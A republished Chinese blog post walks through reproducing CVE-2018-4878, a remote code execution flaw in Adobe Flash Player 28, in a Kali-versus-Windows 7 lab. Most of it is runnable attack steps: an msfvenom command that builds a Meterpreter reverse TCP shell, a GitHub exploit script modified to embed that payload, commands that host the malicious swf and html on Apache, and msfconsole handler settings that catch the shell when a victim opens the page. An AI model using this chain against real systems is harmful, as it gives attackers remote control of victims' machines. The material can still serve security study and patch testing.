博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
[漏洞复现]Adobe flash player 28(CVE-2018-4878)
阅读量:2061 次
发布时间:2019-04-29

本文共 1296 字,大约阅读时间需要 4 分钟。

攻击者通过构造特殊的 Flash 链接, 当用户用浏览器/邮件/Office 访问此Flash 链接时, 会被“远程代码执行”, 并且直接被 getshell。

环境:

  • 渗透机 Kali Linux ip:192.168.43.177
  • 靶机 Windows 7 sp1 192.168.43.196
  • exp: 来自
  • flash: flashplayeractivex28.0.0.137.exe 下载地址链接: 密码:0li0

实验步骤

一、kali 使用 msfvenom 生成 shell 代码

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.43.177 lport=8888 -f python>shellcode.txt

msfvenom的用法可参考

下面是使用msfvenom的部分参数,是比较常用的

-p 选择一个payload

-l 载荷列表
-f 生成的文件格式
-e 编码方式
-i 编码次数
-b 在生成的程序中避免出现的值
-x 允许我们指定一个自定义的可执行文件作为模板,也就是将木马捆绑到这个可执行文件上。
-h 帮助。

二、生成swf和html

git clone  https://github.com/HuanWoWeiLan/SoftwareSystemSecurity-2019.git

使用上面生成的payload替换cve-2018-4878.py中的payload

image.png

更改输出文件路径

更改输出文件的路径

执行cve-2018-4878.py,会生成两个文件

python cve-2018-4878.py
生成的文件

开启apache,将生成的两个文件拷贝到/var/www/html中

service apache2 startcp index2.html /var/www/html/index2.htmlcp exploit.swf /var/www/html/exploit.swf

kali开启监听

#msfconsole启动msfconsole#使用handler监听模块  msf > use exploit/multi/handler #回弹一个tcp连接  msf exploit(handler) > set payload windows/meterpreter/reverse_tcp #设置kali渗透机的ip地址  msf exploit(handler) > set lhost 192.168.43.177#设置监听端口,这个需跟上面msfvenom设置的端口一致  msf exploit(handler) > set lport 8888 #开启监听,等待靶机上线 msf exploit(handler) > exploit
开启监听

靶机安装adobe flash player

image.png
访问
image.png
kali getshell成功
image.png
meterpreter用法可参考

参考资料

转载地址:http://trqlf.baihongyu.com/

你可能感兴趣的文章
windows下VS使用FFmpeg被声明为已否决的解决方案
查看>>
Win7 x64环境下Python3.6安装使用提示丢失api-ms-win-crt-runtimel1-1-0.dll
查看>>
c++ Lambda函数
查看>>
c++仿函数
查看>>
C++ STL bind1st和bind2nd
查看>>
windows下Python安装requests
查看>>
目的:解决Ubuntu 使用gedit出现No protocol specified (gedit:14333):
查看>>
解决Ceph集群Mon和OSD网络变更或者ip(主要是mon)变换后,集群不能正常工作问题
查看>>
Python 格式化打印json数据(展开状态)
查看>>
解决windows下libcurl中curl_formadd()的CURLFORM_FILENAME使用中文导致post失败的问题
查看>>
Centos7 安装curl(openssl)和libxml2
查看>>
Centos7 离线安装RabbitMQ,并配置集群
查看>>
Centos7 or Other Linux RPM包查询下载
查看>>
运行springboot项目出现:Type javax.xml.bind.JAXBContext not present
查看>>
Java中多线程向mysql插入同一条数据冲突问题
查看>>
Idea Maven项目使用jar包,添加到本地库使用
查看>>
FastDFS集群架构配置搭建(转载)
查看>>
HTM+CSS实现立方体图片旋转展示效果
查看>>
FFmpeg 命令操作音视频
查看>>
问题:Opencv(3.1.0/3.4)找不到 /opencv2/gpu/gpu.hpp 问题
查看>>